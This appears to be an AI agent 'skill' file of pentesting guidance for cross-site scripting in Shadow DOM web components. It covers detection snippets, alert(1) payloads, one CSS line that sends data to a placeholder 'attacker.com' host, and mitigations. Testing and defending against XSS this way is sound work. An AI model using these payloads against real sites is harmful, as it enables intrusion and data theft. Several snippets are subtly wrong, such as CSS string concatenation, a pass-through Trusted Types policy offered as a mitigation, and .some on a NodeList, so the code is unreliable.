Hacktricks-skills shadow-dom-xss

How to identify and exploit Cross-Site Scripting (XSS) vulnerabilities in Shadow DOM contexts. Use this skill whenever the user mentions Shadow DOM, web component security, encapsulated DOM attacks, or needs to test for XSS in modern web applications using Shadow DOM. Make sure to use this skill for any pentesting task involving web components, custom elements, or when analyzing applications that use Shadow DOM for encapsulation.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xss-cross-site-scripting/shadow-dom/SKILL.MD
source content

Shadow DOM XSS Testing

A skill for identifying and exploiting Cross-Site Scripting vulnerabilities in Shadow DOM contexts during web application security assessments.

What is Shadow DOM?

Shadow DOM is a browser API that provides encapsulation for web components. It creates a separate DOM tree (the "shadow tree") that is hidden from the main document DOM. This encapsulation is designed to prevent style and script leakage between components.

Key concepts:

  • Shadow Root: The root of the shadow tree, attached to a host element
  • Shadow Host: The element that hosts the shadow DOM
  • Light DOM: The regular document DOM visible in the page
  • Encapsulation: Styles and scripts in shadow DOM don't leak out, and vice versa

Why Shadow DOM XSS Matters

Shadow DOM was designed to improve encapsulation, but it can introduce new attack vectors:

  1. False sense of security: Developers may assume Shadow DOM prevents XSS
  2. Complex attack surface: Multiple DOM boundaries to test
  3. Event propagation: Events can cross shadow boundaries
  4. Content injection points: Shadow DOM can still be vulnerable to injection

Detection Methods

1. Identify Shadow DOM Usage

// Check for shadow roots in the page
document.querySelectorAll('*').forEach(el => {
  if (el.shadowRoot) {
    console.log('Shadow DOM found on:', el);
  }
});

// Check for custom elements
customElements.get('element-name');

2. Find Injection Points

Look for these common patterns:

// InnerHTML in shadow DOM (vulnerable)
shadowRoot.innerHTML = userInput;

// TextContent (safe)
shadowRoot.textContent = userInput;

// createTextNode (safe)
shadowRoot.appendChild(document.createTextNode(userInput));

3. Test Event Handlers

Shadow DOM often uses event listeners that may not properly sanitize:

// Check for event listeners on shadow elements
const shadowEl = element.shadowRoot.querySelector('button');
// Test if click handlers process unsanitized data

Common Attack Vectors

1. InnerHTML Injection

The most common vulnerability - when user input is inserted via

innerHTML
:

// Vulnerable pattern
const shadowRoot = element.attachShadow({mode: 'open'});
shadowRoot.innerHTML = `<div>${userInput}</div>`;

// Exploitation
userInput = '<script>alert(1)</script>';

2. Attribute Injection

Attributes in shadow DOM can be XSS vectors:

// Vulnerable
shadowRoot.querySelector('img').setAttribute('src', userInput);

// Exploitation
userInput = 'javascript:alert(1)';

3. Event Handler Attributes

// Vulnerable
shadowRoot.innerHTML = `<button onclick="${userInput}">Click</button>`;

// Exploitation
userInput = 'alert(1)';

4. Slot Content Injection

Shadow DOM slots can be exploited if content isn't sanitized:

<!-- Vulnerable slot usage -->
<my-component>
  <slot name="content">${userInput}</slot>
</my-component>

5. CSS Injection

While not traditional XSS, CSS can be used for data exfiltration:

/* CSS exfiltration via background-image */
body { background-image: url('https://attacker.com/steal?data=' + stolenData); }

Exploitation Techniques

1. Open vs Closed Shadow DOM

// Open shadow DOM - accessible
const shadowRoot = element.shadowRoot;

// Closed shadow DOM - harder to access
// But still potentially exploitable via other means

2. Event Propagation Exploits

Events bubble through shadow boundaries:

// Event can escape shadow DOM
element.shadowRoot.querySelector('button').addEventListener('click', () => {
  // This can trigger parent handlers
});

3. CSS Variable Exfiltration

// Read CSS variables from shadow DOM
const style = getComputedStyle(shadowRoot.querySelector('element'));
const data = style.getPropertyValue('--secret-data');

4. MutationObserver Bypass

// Shadow DOM mutations may not be observed by parent observers
const observer = new MutationObserver(callback);
observer.observe(document.body, {childList: true, subtree: true});
// This won't see shadow DOM changes

Testing Checklist

  • Identify all Shadow DOM instances on the page
  • Check for
    innerHTML
    usage in shadow DOM
  • Test all user input fields that affect shadow DOM
  • Verify event handlers don't process unsanitized data
  • Check slot content sanitization
  • Test attribute injection points
  • Verify CSS injection possibilities
  • Check for open vs closed shadow DOM modes
  • Test event propagation across boundaries
  • Verify MutationObserver coverage

Mitigation Strategies

1. Use textContent Instead of innerHTML

// Safe
shadowRoot.textContent = userInput;

// Or
shadowRoot.appendChild(document.createTextNode(userInput));

2. Sanitize Input

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(userInput);
shadowRoot.innerHTML = `<div>${clean}</div>`;

3. Use Trusted Types

const policy = trustedTypes.createPolicy('myPolicy', {
  createHTML: (s) => s,
  createScriptURL: (s) => s
});

shadowRoot.innerHTML = policy.createHTML(sanitizedHTML);

4. Proper Event Handling

// Don't use eval or Function constructor
// Validate and sanitize event data

5. Content Security Policy

<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self';">

Tools and Resources

Browser DevTools

// Access shadow DOM in console
document.querySelector('custom-element').shadowRoot

// Inspect shadow DOM
// Right-click on element → "Inspect" → navigate to shadow tree

Automated Testing

// Puppeteer example
const page = await browser.newPage();
await page.goto('https://target.com');

// Check for shadow DOM
const hasShadowDOM = await page.evaluate(() => {
  return document.querySelectorAll('*').some(el => el.shadowRoot);
});

Manual Testing Commands

# Check for shadow DOM in page source
curl -s https://target.com | grep -i "attachShadow"

# Look for custom element definitions
curl -s https://target.com | grep -i "customElements.define"

References

Common Pitfalls

  1. Assuming Shadow DOM = XSS Protection: Shadow DOM provides encapsulation, not security
  2. Missing slot injection points: Slots are often overlooked
  3. Event handler bypasses: Events can cross shadow boundaries
  4. Closed shadow DOM assumptions: Closed doesn't mean secure
  5. CSS injection vectors: CSS can be used for data exfiltration

When to Use This Skill

Use this skill when:

  • Testing web applications that use web components
  • Analyzing modern frameworks (React, Vue, Angular) with shadow DOM
  • Investigating XSS vulnerabilities in encapsulated components
  • Reviewing custom element implementations
  • Assessing applications using Shadow DOM for UI encapsulation
  • Any pentesting task involving Shadow DOM or web component security

Example Workflow

  1. Reconnaissance: Identify Shadow DOM usage on target
  2. Mapping: Document all shadow roots and their structure
  3. Input Testing: Test all user input points affecting shadow DOM
  4. Event Testing: Verify event handlers and propagation
  5. Slot Testing: Check slot content sanitization
  6. Documentation: Record findings and exploitation paths
  7. Reporting: Provide remediation recommendations